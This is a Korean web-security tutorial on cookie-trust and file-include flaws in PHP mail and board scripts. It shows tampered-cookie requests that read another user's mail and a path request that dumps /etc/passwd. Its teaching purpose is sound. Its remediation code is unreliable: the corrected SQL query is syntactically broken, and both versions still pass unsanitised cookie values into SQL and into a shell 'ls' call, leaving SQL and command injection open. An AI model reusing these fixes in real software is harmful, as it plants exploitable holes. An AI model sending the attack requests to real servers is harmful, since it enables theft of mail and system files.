Server 에서 Browser 에 세팅한 Cookie 덕분에 사이트의 어떤 페이지를
읽을 때마다 Login 을 해야하는 수고를 덜을 수 있는 것이다.
먼저, Server 에서 Client 의 Web Browser 에 세팅하는 Cookie 값이
다음과 같다고 하자.
id=beist; pw=ttl; mail_home=/mailserver1/b/beist
사용자가 위의 Cookie 값을 받고, 편지 읽기를 시도한다고 가정하였을때
Server 는 Client 의 Cookie 를 읽어와서, id 와 pw 가 맞는지, 그리고
mail_home 값을 가져와서 해당 디렉토리에 맞게 편지들을 보여준다.
mail.php
1 <?
2
3 $id=$HTTP_COOKIE_VARS[id];
4 $pw=$HTTP_COOKIE_VARS[pw];
5 $mail_home=$HTTP_COOKIE_VARS[mail_home];
6
7 $conn=mysql_connect("localhost", "maildb", "mailpw");
8 mysql_select_db("maildb", $conn);
9 $temp=mysql_fetch_array(mysql_query("select * from now_connect where ID='$id' and PW='$pw'"));
10
11 if(!$temp[0])
12 {
13 echo "로그인 제대로 해라 니 쿠키값은 내 서버에 없는데??";
14 exit;
15 }
16
17 system("ls -al $mail_home");
18 ?>
이해를 돕기 위해 위 Script 는 임시로 만든 것이다. Client 가 전해온
Cookie 값을 가져오고 now_connect table 에 Cookie 값에 맞는 사용자가
있는지 확인한다. 만약 없다면, Script 실행을 중지할 것이다.
정상적인 사용자라면 system 함수를 이용하여 Client 가 전해온 mail_home
쿠키값을 ls 한다.
(mail_home Directory 밑에는 사용자의 편지가 담겨있다고 가정한다.)
실제로 Cookie 가 Server 에 어떤 식으로 전달이 되는지 알아보면
[요청]
$ telnet server 80
Trying server...
Connected to server.
Escape character is '^]'.
get http://server/mail.php HTTP/1.0
Cookie: id=beist; pw=ttl; mail_home=/mailserver1/b/beist
[결과]
1. yo! man!
2. [광고] 노트북 10 원!
3. [광고] 벤츠가 10 원! 선착순 천만명!
4. [뉴스] 2002 한일월드컵 우승-한국. MVP 는 홍명보
5. [뉴스] CF 모델 임은경. 이승진이라는 고교생과 스캔들
(실제 Mail CGI 의 소스는 이렇지 않지만 여기서는 최대한 간결화했다.)
여기서 취약성이 존재한다. 일단 id 와 pw 만 정상적으로 인증을 한다면
mail_home 은 Client 가 보내주는 data 는 전적으로 신뢰하는 것이다.
그래서 여기서는 ttl 이라는 가상의 계정을 하나 더 만들었고 쿠키값은
다음과 같다.
id=ttl; pw=beist; mail_home=/mailserver1/t/ttl
beist 라는 계정을 가진 Cracker 가 ttl 이라는 계정을 가진 사용자의
e-mail 을 훔쳐읽는 방법은 다음과 같다.
[요청]
$ telnet server 80
Trying server...
Connected to server.
Escape character is '^]'.
get http://server/mail.php HTTP/1.0
Cookie: id=beist; pw=ttl; mail_home=/mailserver1/t/ttl
[결과]
1. 임은경 누나 너무 귀여워요
2. 은경아 나 매니저다
3. [광고] 50 억을 벌 수 있습니다
4. [광고] 40 억을 벌 수 있습니다
5. [뉴스] 2002 한일월드컵 우승-한국. MVP 는 홍명보
분명히 id 는 beist 로 넣었지만 결과는 ttl 이라는 계정을 가진 사용자의
메일로 나오게 되었다. 이유는 Cracker 가 mail_home cooke 를 보낼때
자신의 Cookie 가 아닌 ttl 계정의 Cookie 를 보내었기 때문이다.
mail.php 에서 사용자의 id 와 password 가 올바른지 검사를 하긴 하지만
사용자가 보내온 mail_home cookie 를 가지고 메일 리스트를 뿌려주니까
일어난 취약성이다.
mail_home 경로를 알아내는 방법에 대해서.
mail_home 의 경로는 메일 서비스 회사마다 다르게 처리한다. 어떤 곳은
위에서 설명한 예와 같이 간단한 경로를 사용하여 Cracker 가 쉽게 유추
할수 있지만 어떤 곳은 복잡한 방법을 사용하기도 한다. (하지만 brute
force 를 시도해볼만하다. 대부분의 경우의 수가 천문학적인 단위가
아니이기 때문이다.) 가장 편한 방법은 Cookie Sniffing 으로 빼오는
것인데, 한번만 가져온다면 Cookie 를 도둑맞은 사용자가 아무리 비밀번호를
바꾸어도 Cracker 는 평생 그 사용자의 mail 을 읽을 수 있을 것이다.
해결책을 알아보자.
이에 대한 해결책은 mail_home 을 now_connect table 에 넣는 것이다.
그래서 매 페이지마다 인증을 할시에 id, pw, mail_home 이 같이 일치하는
정보가 없으면 올바르지 않은 사용자로 간주하는 것이다.
1 <?
2
3 $id=$HTTP_COOKIE_VARS[id];
4 $pw=$HTTP_COOKIE_VARS[pw];
5 $mail_home=$HTTP_COOKIE_VARS[mail_home];
6
7 $conn=mysql_connect("localhost", "maildb", "mailpw");
8 mysql_select_db("maildb", $conn);
9 $temp=mysql_fetch_array(mysql_query("select * from now_connect where ID='$id' and PW='$pw' and mail_home'$mail_home'"));
10
11 if(!$temp[0])
12 {
13 echo "로그인 제대로 해라 니 쿠키값은 내 서버에 없는데??";
14 exit;
15 }
16
17 system("ls -al $mail_home");
18 ?>
물론 위 방법을 사용하기 전에 now_connect 에 mail_home 필드를 만들고,
login 시에 mail_home 데이터를 넣는 추가 과정이 필요하겠지만 여기서의
설명은 불필요하므로 접겠다.
그리고, 위 방법말고 Session 을 활용하는 방법도 괜찮을 것이다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
15) include 사용지 주의할점, 기타 보안관련 주의할점
이제 마지막 장이다. 웹 프로그래밍 시 잘못된 알고리즘 사용으로 인한
취약성이나 그와 유사한 결과로 인해 일어나는 취약성은 알아보았다.
이번 장에서는 몇가지 더 간단한 보안 취약성에 대해서 알아보고 웹
프로그래밍과는 조금 상관이 없는 내용도 다루겠다.
먼저 첫번째 알고리즘 취약성에 대해서 알아보자. include 함수를 알
것이다. include 함수는 프로그래머가 지정한 특정 file 을 소스에
포함시키는 함수이다. 예를 들어
test.php
<?
include "test.txt";
?>
라는 소스가 있다면 test.txt 라는 file 을 test.php 에 포함시켜서
사용자에게 보여준다. 여기서 보통 다음과 같은 문법을 많이 쓴다.
vul.php
<?
include "$table";
/* 생략 */
echo "<br><br>테스트 중입니다. ^^";
?>
위는 보통 게시판이나 어떤 객체적인 개념이 들어가는 프로그래밍을 할 시에
디렉토리를 따로 두어 $table 변수에 있는 것을 자동으로 include 하게 하는
것이다.
이 방법에 취약성이 존재한다.
예를 들어 다음과 같은 상황이라고 하자.
test1/header.txt 의 내용
안녕하세요. 이것은 헤더파일입니다.
[요청]
http://server/vul.php?table=test1/header.txt
[결과]
안녕하세요. 이것은 헤더파일입니다.
테스트 중입니다. ^^
여기서 Cracker 는 query 를 간단히 변조함으로써 원하는 파일을 read
할 수 있게 된다.
[요청]
http://server/vul.php?table=/etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
해결책을 알아 보자.
include 할때 Cracker 가 해킹을 하기 힘들게 해야 한다.
<?
if(eregi("\.\.", $table))
{
echo "파일 이름에 .. 가 존재하면 안됩니다.";
exit;
}
include "./$table";
/* 생략 */
echo "<br><br>테스트 중입니다. ^^";
?>
첫번째 조취로 상위디렉토리로 올라가기 위한 .. 문자열을 필터링 하는
작업과, 두번째 include 시 현재 디렉토리에서 참조하라는 지시를 하였다.
[요청]
http://server/vul.php?table=../../../../../../../etc/passwd
[결과]
파일 이름에 .. 가 존재하면 안됩니다.
[요청]
http://server/vul.php?table=/etc/passwd
[결과]
테스트 중입니다. ^^
두번째 방법과 같이 요청을 한다면 include 하려할 파일은 .//etc/passwd
이다. ./etc/passwd 와 .//etc/passwd 는 같다.
그리고 open 하려할 파일이 들어있는 디렉토리에는 중요한 파일은 두지
말도록 하자.
이제 여러 가지 주의 사항에 대하여 알아보겠다.
다음에서 알려주는 문제는 어쩌면 프로그래머가 신경써야할 부분이 아닐지도
모르지만 알아두면 도움이 될 것이다.
먼저 확장자 문제. 일반적인 test.php 와 같은 파일은 파싱을 해주기 때문에
소스가 그대로 드러나는 일은 없다. 하지만 보통 백업용으로 만들어놓는
확장자인 bak 등은 파싱을 하지 않기 때문에 그대로 소스가 노출될 수 있다.
경험이 많은 Cracker 는 눈에 보이지 않는 많은 것들을 시도하게 되고
test.bak 같은 것은 그 일부이다. 프로그래머는 이 부분에 대해서 주의를
해야할 것이다.
그리고 어떤 확인작업이나 인증작업시에 Client 에 전적으로 의존하려 하면
안된다. 아직도 웹에는 Java-script 로만 확인을 하는 것이 많은데, Java
Script 는 Cracker 임의대로 수정하거나 아니면 아예 삭제를 할 수도 있다.
1 차적인 확인으로 Client 에서 Java-script 로 확인을 하고, 2 차적인 작업으로
CGI 에서 또 확인을 해야만 할 것이다.
중요한 파일을 include 할 시에 filename 을 파싱이 안되는 확장자로 하지
말아야 한다. 만약 include 하는 파일이 database 에 연결하는 파일이라고 하고
dbconn.inc 라면 inc 확장자는 파싱을 하지 않으니 소스코드가 그대로 노출되어
질 것이다. dbconn.inc 대신 dbconn.php 로 대처하자. 아니면 inc 도 파싱을
하도록 설정하자.
위 사항과 관련하여 취약성이 존재할수도 있다. dbconn.inc 의 소스코드가 그대로
드러나는 것을 막기 위하여 inc 도 파싱하도록 설정을 해두었는데, 정작 자료실
에서 inc 의 upload 를 막아두지 않아 Cracker 가 서버에 침투할 수도 있다.
그리고 cgi 가 돌아가는 확장자에 대해서 주의하여야 한다. 예를 들어 php 이면
*.php 만이 파싱이 되는것이 아니라 php3, php4, shtml, 등이 파싱이 될 수도
있으니 주의를 하여야 한다.
또 index 파일을 각 디렉토리에 만들어놓아 index 파일이 없을때 디렉토리 안의
내용을 볼수 있는 현상도 막아야 할 것이다. 아니면 웹서버 설정에 index 기능을
사용하지 않도록 하자.
database 연결시에 허용된 주소가 아니면 접속을 금지시켜야 할 것이다. 보통은
localhost 에서만 접속이 가능하도록 database 를 설정하고, 규모가 큰 네트웍
에서는 정책을 잘 설정해야 할 것이다.
디폴트 설정에 주의하여야 한다. 많은 Cracker 는 게으른 관리자로 인해서
바뀌지 않은 설정을 이용한다. 취약성이 안 알려져있다고 하더라도 디폴트 설정은
바꾸는 게 좋다.
가장 중요한 점은 최신의 보안에 대해서 귀를 기울이며 대처를 하는 것이다.
이 글에는 트랙백을 보낼 수 없습니다
0